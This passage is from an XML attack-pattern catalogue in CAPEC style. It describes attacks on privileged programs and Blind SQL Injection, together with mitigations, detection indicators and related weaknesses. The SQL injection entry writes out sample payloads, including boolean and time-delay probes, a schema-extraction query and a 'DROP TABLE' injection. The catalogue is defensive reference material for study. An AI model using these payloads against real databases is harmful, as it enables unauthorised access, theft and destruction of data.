				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="69" Name="Target Programs with Elevated Privileges"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets programs running with elevated privileges. The
						attacker would try to leverage a bug in the running program and get
						arbitrary code to execute with elevated privileges. For instance an attacker
						would look for programs that write to the system directories or registry
						keys (such as HKLM, which stores a number of critical Windows environment
						variables). These programs are typically running with elevated privileges
						and have usually not been designed with security in mind. Such programs are
						excellent exploit targets because they yield lots of power when they break.
						The malicious user try to execute its code at the same level as a privileged
						system call.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker probes for programs running with
												elevated privileges.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker finds a bug in a program running with
												elevated privileges.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker exploits the bug that she has found.
												For instance she can try to inject and execute
												arbitrary code or write to OS resources.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted program runs with elevated OS privileges.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The targeted program accepts input data from the user or from another
						program.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The targeted program does not perform input validation properly.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The targeted program does not fail safely. For instance when a program
						fails it may authorize restricted access to anyone.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The targeted program has a vulnerability such as buffer overflow which may
						be exploited if a malicious user can inject unvalidated data. For instance a
						buffer overflow interrupts the program as it executes, and makes it run
						additional code supplied by the attacker. If the program under attack has
						elevated privileges to the OS, the attacker can elevate its privileges (such
						as having root level access).</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The targeted program is giving away information about itself. Before
						performing such attack, an eventual attacker may need to gather information
						about the services running on the host target. The more the host target is
						verbose about the services that are running (version number of application,
						etc.) the more information can be gather by an attacker.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>This attack often requires communicating with the host target services
						directly. For instance Telnet may be enough to communicate with the host
						target.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Flooding</Method_of_Attack>
			</Methods_of_Attack>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Type>
						<Text>Low: An attacker can use a tool to scan and automatically launch an
							attack against known issues. A tool can also repeat a sequence of
							instructions and try to brute force the service on the host target, an
							example of that would be the flooding technique.</Text>
						<Text>Medium to High: More advanced attack may require knowledge of the
							protocol spoken by the host service.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Probing technique include fuzzing (sending random data in order to
							fail the service on the host target), brute forcing (with automated
							tools), network scanning to determine which services are available and
							running on the target host.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>There are freely available tools to probe and gather information from
							host target. For instance, the attacker can find out that a host target
							has not been patched by collecting such information.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>The log can have a trace of abnormal activity. Also if abnormal
							activity is detected on the host target. For instance flooding should be
							seen as abnormal activity and the target host may decide to take
							appropriate action in order to mitigate the attack (data filtering or
							blocking). Resource exhaustion is also a sign of abnormal
							activity.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>The attacker may try to hide her attack by forging the host's logs.
							The attacker has interest in mimicing a legitimate call to the program
							or service under threat.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Apply the principle of least privilege.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Validate all untrusted data.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Apply the latest patches.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Scan your services and disable the ones which are not needed and are
						exposed unnecessarily. Exposing programs increases the attack surface. Only
						expose the services which are needed and have security mechanisms such as
						authentication built around them.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Avoid revealing information about your system (e.g., version of the
						program) to anonymous users.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Make sure that your program or service fail safely. What happen if the
						communication protocol is interrupted suddenly? What happen if a parameter
						is missing? Does your system have resistance and resiliance to attack? Fail
						safely when a resource exhaustion occurs.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>If possible use a sandbox model which limits the actions that programs can
						take. A sandbox restricts a program to a set of privileges and commands that
						make it difficult or impossible for the program to cause any damage.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Check your program for buffer overflow and format String vulnerabilities
						which can lead to execution of malicious code.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Monitor traffic and resource usage and pay attention if resource
						exhaustion occurs.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Protect your log file from unauthorized modification and log
						forging.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>250<!--Execution with Unnecessary Privileges--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>264<!--Permissions, Privileges, and Access Controls--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>15<!--External Control of System or Configuration Setting--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2004-0213</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Utility Manager in Windows 2000 launches winhlp32.exe while Utility
							Manager is running with raised privileges, which allows local users to
							gain system privileges via a "Shatter" style attack that sends a Windows
							message to cause Utility Manager to launch winhlp32 by directly
							accessing the context sensitive help and bypassing the GUI, then sending
							another message to winhlp32 in order to open a user-selected file, a
							different vulnerability than CVE-2003-0908.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>8<!--Buffer Overflow in an API Call--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>9<!--Buffer Overflow in Local Command-Line Utilities--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>10<!--Buffer Overflow via Environment Variables--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>67<!--String Format Overflow in syslog()--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>232<!--Exploitation of Privilege/Trust--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>A user must be authenticated if she invokes a privileged program.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Fail Securely</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Any guideline related to the buffer overflow and format String
						vulnerability.</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Patch programs with the latest patches from Vendors.</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Ensure log integrity</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Validate all untrusted input</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE : Failure to protect stored data from modification</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE : Setting manipulation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE : Often Misused: Privilege Management</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE : Permissions, Privileges, and Access Controls</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Name</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="7" Name="Blind SQL Injection" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Blind SQL Injection results from an insufficient mitigation for SQL
						Injection. Although suppressing database error messages are considered best
						practice, the suppression alone is not sufficient to prevent SQL Injection.
						Blind SQL Injection is a form of SQL Injection that overcomes the lack of
						error messages. Without the error messages that facilitate SQL Injection,
						the attacker constructs input strings that probe the target through simple
						Boolean SQL expressions. The attacker can determine if the syntax and
						structure of the injection was successful based on whether the query was
						executed or not. Applied iteratively, the attacker determines how and where
						the target is vulnerable to SQL Injection.</Text>
					<Text>For example, an attacker may try entering something like "username' AND
						1=1; --" in an input field. If the result is the same as when the attacker
						entered "username" in the field, then the attacker knows that the
						application is vulnerable to SQL Injection. The attacker can then ask yes/no
						questions from the database server to extract information from it. For
						example, the attacker can extract table names from a database using the
						following types of queries:</Text>
					<Block>
						<Code>"username' AND ascii(lower(substring((SELECT TOP 1 name FROM
							sysobjects WHERE xtype='U'), 1, 1))) &gt; 108".</Code>
						<Code>If the above query executes properly, then the attacker knows that the
							first character in a table name in the database is a letter between m
							and z. If it doesn't, then the attacker knows that the character must be
							between a and l (assuming of course that table names only contain
							alphabetic characters). By performing a binary search on all character
							positions, the attacker can determine all table names in the database.
							Subsequently, the attacker may execute an actual attack and send
							something like:</Code>
						<Code>"username'; DROP TABLE trades; --</Code>
					</Block>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Hypothesize SQL queries in
											application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Generated hypotheses regarding the SQL queries in
												an application. For example, the attacker may
												hypothesize that his input is passed directly into a
												query that looks like:</Text>
											<Block>
												<Code>"SELECT * FROM orders WHERE ordernum =
												_____"</Code>
												<Code>or</Code>
												<Code>"SELECT * FROM orders WHERE ordernum IN
												(_____)"</Code>
												<Code>or</Code>
												<Code> "SELECT * FROM orders WHERE ordernum in
												(_____) ORDER BY _____"</Code>
											</Block>
											<Text>Of course, there are many other
												possibilities.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Research types of SQL queries and determine
												which ones could be used at various places in an
												application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine how to inject information into
											the queries</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine how to inject information into the
												queries from the previous step such that the
												injection does not impact their logic. For example,
												the following are possible injections for those
												queries:</Text>
											<Block>
												<Code> "5' OR 1=1; --"</Code>
												<Code>and</Code>
												<Code>"5) OR 1=1; --"</Code>
												<Code>and</Code>
												<Code>"ordernum DESC; --"</Code>
											</Block>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Add clauses to the SQL queries such that the
												query logic does not change.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Add delays to the SQL queries in case server
												does not provide clear error messages (e.g.
												WAITFOR DELAY '0:0:10' in SQL Server or
												BENCHMARK(1000000000,MD5(1) in MySQL). If these
												can be injected into the queries, then the length
												of time that the server takes to respond reveals
												whether the query is injectable or not.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one way to complete a
												hypothesized SQL query that would violate the
												application developer's
												assumptions.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine user-controllable input
											susceptible to injection</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the user-controllable input susceptible
												to injection. For each user-controllable input that
												the attacker suspects is vulnerable to SQL
												injection, attempt to inject the values determined
												in the previous step. If an error does not occur,
												then the attacker knows that the SQL injection was
												successful.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use web browser to inject input through text
												fields or through HTTP GET parameters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a web application debugging tool such as
												Tamper Data, TamperIE, WebScarab,etc. to modify
												HTTP POST parameters, hidden fields, non-freeform
												fields, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use network-level packet injection tools
												such as netcat to inject input</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Use modified client (modified by reverse
												engineering) to inject input.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Response takes expected amount of time after
												delay is injected.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Server sends a specific error message that
												indicates programmatic parsing of the input data
												(e.g. NumberFormatException)</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one user-controllable
												input susceptible to injection
												found.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No user-controllable input
												susceptible to injection
												found.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Unusual queries such
												as the ones described in the previous step, in
												application logs. Log files may contain unusual
												messages such as "User bob' OR 1=1; -- logged in".
												Operators should be alerted when such SQL commands
												appear in the logs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Input validation of
												user-controlled data before including it in a SQL
												query</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use APIs that help
												mitigate SQL injection (such as PreparedStatement
												in Java)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine database
											type</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determines the type of the database, such as MS
												SQL Server or Oracle or MySQL, using logical
												conditions as part of the injected queries</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Try injecting a string containing
												char(0x31)=char(0x31) (this evaluates to 1=1 in
												SQL Server only)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Try injecting a string containing 0x313D31
												(this evaluates to 1=1 in MySQL only)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Inject other database-specific commands into
												input fields susceptible to SQL Injection. The
												attacker can determine the type of database that
												is running by checking whether the query executed
												successfully or not (i.e. wheter the attacker
												received a normal response from the server or
												not).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in previous step</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in previous step</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Database platform in use
												discovered.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Database platform in use not
												discovered.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Extract information about database
											schema</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Extract information about database schema by
												getting the database to answer yes/no questions
												about the schema.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Automatically extract database schema using
												a tool such as Absinthe.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Manually perform the blind SQL Injection to
												extract desired information about the database
												schema.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Desired information about
												database schema extracted.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Desired information about
												database schema could not be
												extracted.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Large number of
												unusual queries in database
												logs.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Exploit SQL Injection
											vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Use the information obtained in the previous steps
												to successfully inject the database in order to
												bypass checks or modify, add, retrieve or delete
												data from the database</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use information about how to inject commands
												into SQL queries as well as information about the
												database schema to execute attacks such as
												dropping tables, inserting records, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker achieves goal of
												unauthorized system access, denial of service,
												etc.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker cannot exploit the
												information gathered by blind SQL
												Injection</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>SQL queries used by the application to store, retrieve or modify
						data.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>User-controllable input that is not properly validated by the application
						as part of SQL queries.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In the PHP application TimeSheet 1.1, an attacker can successfully
